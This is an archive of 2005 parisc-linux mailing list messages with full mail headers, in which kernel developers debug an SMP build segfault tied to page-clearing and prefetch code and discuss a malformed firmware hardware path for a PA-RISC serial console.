Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------060808020302080701020707--



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc3-pa3 smp "Segmentation fault" but not up
Date: Sat, 15 Jan 2005 14:41:11 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20050115144111.GQ30982@parcelfarce.linux.theplanet.co.uk>
References: <41E92258.60006@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624530 26659 80.91.229.3 (22 Nov 2014 02:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:50 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2005 14:41:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 15 Jan 2005 15:41:36 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 01CB33BE77; Sat, 15 Jan 2005 07:41:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29057-09; Sat, 15 Jan 2005 07:41:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DB24B3BE79; Sat, 15 Jan 2005 07:41:19 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 377EE3BE73
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 07:41:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29057-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 07:41:14 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 115473BE71
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 07:41:14 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id C7253495BA9; Sat, 15 Jan 2005 07:41:13 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 74CF0495BA8
	for <parisc-linux@parisc-linux.org>;
	Sat, 15 Jan 2005 07:41:13 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1Cpp71-00016j-Qs; Sat, 15 Jan 2005 14:41:11 +0000
Content-Disposition: inline
In-Reply-To: <41E92258.60006@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25088

On Sat, Jan 15, 2005 at 02:02:00PM +0000, Joel Soete wrote:
> With previous kernel it makes panic kernel hazardiously from 1 to more 200 
> occurences. With this 2.6.11-rc3-pa3 after about 49 runs some "Segmentation 
> fault" occures:
> make[3]: *** [drivers/pci/probe.o] Segmentation fault
> 
> for some child's shell (I attached dmesg because very long).
> 
> I so stop this loop to reboot with same kernel but up build and relaunch 
> the loop.
> After about 12h it already runs 80 times without any segmantation fault.
> 
> Any idea?

I suspect the new clear_user_page code.  Could you try backing that out
and rerunning your test?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc3-pa3 smp "Segmentation fault" but not up
Date: Sun, 16 Jan 2005 00:32:26 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <41E9B61A.5060204@tiscali.be>
References: <41E92258.60006@tiscali.be>
	<20050115144111.GQ30982@parcelfarce.linux.theplanet.co.uk>
	<41E9952A.1000907@tiscali.be>
	<20050115224118.GC10070@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624530 26661 80.91.229.3 (22 Nov 2014 02:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:50 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2005 00:33:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 16 Jan 2005 01:33:01 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E260D3BE6D; Sat, 15 Jan 2005 17:32:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03911-03; Sat, 15 Jan 2005 17:32:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 014E13BE69; Sat, 15 Jan 2005 17:32:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF22A3BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 17:32:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02446-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 17:32:36 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 953983BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 17:32:36 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 2EF28495BA8; Sat, 15 Jan 2005 17:32:36 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by palinux.hppa (Postfix) with ESMTP id 931C7495365;
	Sat, 15 Jan 2005 17:32:35 -0700 (MST)
Original-Received: from [83.134.226.207] (helo=[83.134.226.207])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CpyJx-0000ky-IA; Sun, 16 Jan 2005 01:31:09 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20050115224118.GC10070@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25089

Hello Grant,

Sorry for delay but the n stand in the office and join it from home i need to use vpn connection which deasable my local lan (and 
also my pop3 access to my isp :-( and obviously irc)

Grant Grundler wrote:
> On Sat, Jan 15, 2005 at 10:11:54PM +0000, Joel Soete wrote:
> 
>>this patch:
>><http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/pacache.S?r1=1.9&r2=1.10> ?
> 
> 
> I don't think willy is refering to any particular issue.
> 
> 
>>Well in doubt I revert all changes since:
>><http://cvs.parisc-linux.org/*checkout*/linux-2.6/arch/parisc/kernel/pacache.S?rev=1.9.20.2>
>>
>>Btw what do you suspect that Grant (and I) could have missed (just divid by 
>>2 the number of loop thanks to dword insn)?
> 
> 
> No - I mangled that. The code you submitted was correct in this regard.
Agree (but what could we imagine on a system which only have one atomic insn iirc?)

> I fixed the off-by-2x bug in the next commit:
> http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/pacache.S?r1=1.10&r2=1.11
> 
> My suspicion is the prefetching might be causing problems since it's going
> past the end of the page. The kernel tmp alias pages might be causing problems
> since we don't flush past the end of those. (Or something like that).
> 
sorry I didn't have yet understand all details of prefetching

> Can you remove only the prefetching in that algorithm?
> 
Yes, I did and already run one occurence of the loop without pb, .. so we have to be patient to see if first mentioned pb (failures 
after some loop occurence: about 50 last time) :-)

> 
>>But already strange results:
> 
> ...
> 
>>and after those first 11 failed it seems to continue??
> 
> 
> Do you mean after restarting the make the build completed?

No, just let continue the loop (that doesn't make sense to me but in fact I already encounter this case with 2.6.10-paXX but don't 
have time to report it).

Is nicol also encounter the same pb (just in case of small diff in hw config)?

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hwpath for superio serial console
Date: Sun, 16 Jan 2005 05:47:28 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20050116054728.GS30982@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624530 26663 80.91.229.3 (22 Nov 2014 02:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2005 05:48:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 16 Jan 2005 06:48:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 64BEF3BE51; Sat, 15 Jan 2005 22:48:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06377-03; Sat, 15 Jan 2005 22:48:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B8BB23BE5D; Sat, 15 Jan 2005 22:47:35 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E6E963BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 22:47:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06165-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 22:47:31 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EE1F33BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 22:47:30 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A6908495367; Sat, 15 Jan 2005 22:47:30 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 557C1495365
	for <parisc-linux@parisc-linux.org>;
	Sat, 15 Jan 2005 22:47:30 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1Cq3G4-0003qc-JN
	for parisc-linux@parisc-linux.org; Sun, 16 Jan 2005 05:47:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25090


Now I've fixed pdc_stable to not dereference a null ptr, I can see
why it failed.  The hardware path it has is:

# cat console/*
[10/0/14/1/1]
643 

To my mind, this is a broken hwpath.  The algorithm we use for converting
hwpaths to PCI busses says this is:
10 (PA)
10/0 (PA)
10/0/14 (PCI bridge 0e.0)
10/0/14/1/1 (PCI device 1.1)

We're actually supposed to decode this as:

10/0 (PA)
10/0/14/1 (PCI device 0e.1)
10/0/14/1/1 (subfunction 1?)

This isn't consistent breakage, only for serial console hwpath on
a sprockets machine.  N4000 reports [0/0/4/0] (Ike 0, Elroy 0, PCI
device 4.0).  Sprockets reports [10/0/15/1] for alternate boot path
(Astro 10, Elroy 0, PCI device 0f.1), [10/6/2/0] for graphics console,
and [10/0/14/2] for USB keyboard.

To my mind, SERIAL_1 should have been reported by a hwpath of 10/0/14/1
and then two layers -- the first being 1 or 2 for SERIAL_1 vs SERIAL_2,
and the second encoding 9600.8.none (which seems to be 643 for some
reason).

How should we be handling this?  Look for a device, then retry with the
hwpath shifted left if we don't find it?  How about when write support
is added?  What does HPUX do?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hwpath for superio serial console
Date: Sun, 16 Jan 2005 01:09:42 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20050116080942.GB20183@colo.lackof.org>
References: <20050116054728.GS30982@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624530 26668 80.91.229.3 (22 Nov 2014 02:48:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2005 08:10:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 16 Jan 2005 09:10:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A57293BE6A; Sun, 16 Jan 2005 01:10:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07091-05; Sun, 16 Jan 2005 01:10:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AA9053BE69; Sun, 16 Jan 2005 01:09:49 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 056343BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 01:09:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07078-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 01:09:45 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0D7DF3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 01:09:45 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 781C2495BA8; Sun, 16 Jan 2005 01:09:44 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 3B66A495365
	for <parisc-linux@parisc-linux.org>;
	Sun, 16 Jan 2005 01:09:44 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 516B929803A;
	Sun, 16 Jan 2005 01:09:43 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20388-09; Sun, 16 Jan 2005 01:09:42 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 42DE3298033; Sun, 16 Jan 2005 01:09:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050116054728.GS30982@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25091

On Sun, Jan 16, 2005 at 05:47:28AM +0000, Matthew Wilcox wrote:
> # cat console/*
> [10/0/14/1/1]
> 643 
> 
> To my mind, this is a broken hwpath.

It is.
We can even detect those - the PCI dev/func needs to be
encoded as "func<<5 | dev" (ie 10/0/46/1) if it wanted
to follow the expected convention.

> 10/0/14/1/1 (PCI device 1.1)

It should be "10/0/14/1.1".

> We're actually supposed to decode this as:
> 
> 10/0 (PA)
> 10/0/14/1 (PCI device 0e.1)

So far so good.

> 10/0/14/1/1 (subfunction 1?)

no - see above.

> This isn't consistent breakage, only for serial console hwpath on
> a sprockets machine.

Right - someone botched how to display suckyio serial ports.
Maybe this was an attempt to make it consistent with other
serial ports not using "layers" to identify the port.

> To my mind, SERIAL_1 should have been reported by a hwpath of 10/0/14/1
> and then two layers -- the first being 1 or 2 for SERIAL_1 vs SERIAL_2,
> and the second encoding 9600.8.none (which seems to be 643 for some
> reason).

Yes.

> How should we be handling this?

Probably just ignore it. It's just a "handle" and people will have
to manually handle it as a quirk.

Try "in io" and see what it says for SERIAL_1 and SERIAL_2
on the astro based workstation.
My j6k show's it as 10/0/14/1/1.
So I think it's ok if Linux is consistent with what firmware displays.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Five year old bug found ;-)
Date: Fri, 21 Jan 2005 14:52:07 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20050121145207.GN25940@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624531 26669 80.91.229.3 (22 Nov 2014 02:48:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jan 2005 14:52:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 21 Jan 2005 15:52:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B37B33BE71; Fri, 21 Jan 2005 07:52:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15217-05; Fri, 21 Jan 2005 07:52:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CB72B3BE68; Fri, 21 Jan 2005 07:52:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E4673BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jan 2005 07:52:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14264-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jan 2005 07:52:09 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 94A193BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Jan 2005 07:52:09 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 59774495367; Fri, 21 Jan 2005 07:52:09 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 025A5495366
	for <parisc-linux@parisc-linux.org>;
	Fri, 21 Jan 2005 07:52:08 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1Cs08t-0001CA-MV
	for parisc-linux@parisc-linux.org; Fri, 21 Jan 2005 14:52:07 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
